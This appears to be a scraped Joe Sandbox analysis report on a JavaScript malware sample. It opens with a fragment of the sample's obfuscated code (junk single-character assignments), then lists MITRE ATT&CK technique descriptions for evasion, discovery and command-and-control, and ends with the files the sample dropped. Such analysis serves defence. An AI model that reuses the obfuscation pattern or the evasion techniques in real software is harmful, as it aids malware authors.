1245	abfevy = "j";
1246	abfevy = "W";
1247	abfevy = "L";
1248	abfevy = "v";
1249	abfevy = "j";
1250	abfevy = "b";
1251	abfevy = "A";
1252	abfevy = "P";
1253	abfevy = "C";
1254	abfevy = "o";
1255	abfevy = "I";
1256	abfevy = "B";
1257	abfevy = "s";
1258	abfevy = "J";
1259	abfevy = "G";
1260	abfevy = "x";
1261	abfevy = "r";
1262	zafrha = "g";
1263	zafrha = "p";
1264	zafrha = "a";
1265	zafrha = "F";
1266	zafrha = "i";
1267	zafrha = "a";
1268	zafrha = "z";
1269	zafrha = "X";
1270	zafrha = "N";
1271	zafrha = "x";
1272	zafrha = "q";
1273	zafrha = "V";
1274	zafrha = "j";
1275	zafrha = "C";
1276	zafrha = "n";
1277	zafrha = "A";
1278	zafrha = "j";
1279	zafrha = "Q";
1280	zafrha = "o";
1281	zafrha = "o";
1282	zafrha = "H";
1283	zafrha = "Z";
1284	zafrha = "Z";
1285	zafrha = "q";
1286	zafrha = "p";
1287	zafrha = "k";
1288	zafrha = "R";
1289	zafrha = "U";
1290	zafrha = "8";
1291	evhjy = "b";
1292	evhjy = "L";
1293	evhjy = "j";
1294	evhjy = "k";
1295	evhjy = "S";
1296	evhjy = "t";
1297	evhjy = "i";
1298	evhjy = "Y";
1299	xirgajr ( );	xirgajr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1238420799116328606.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c072552-aaa6-4fe5-bb49-c184f9836f80.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4208

Windows Analysis Report
1238420799116328606.js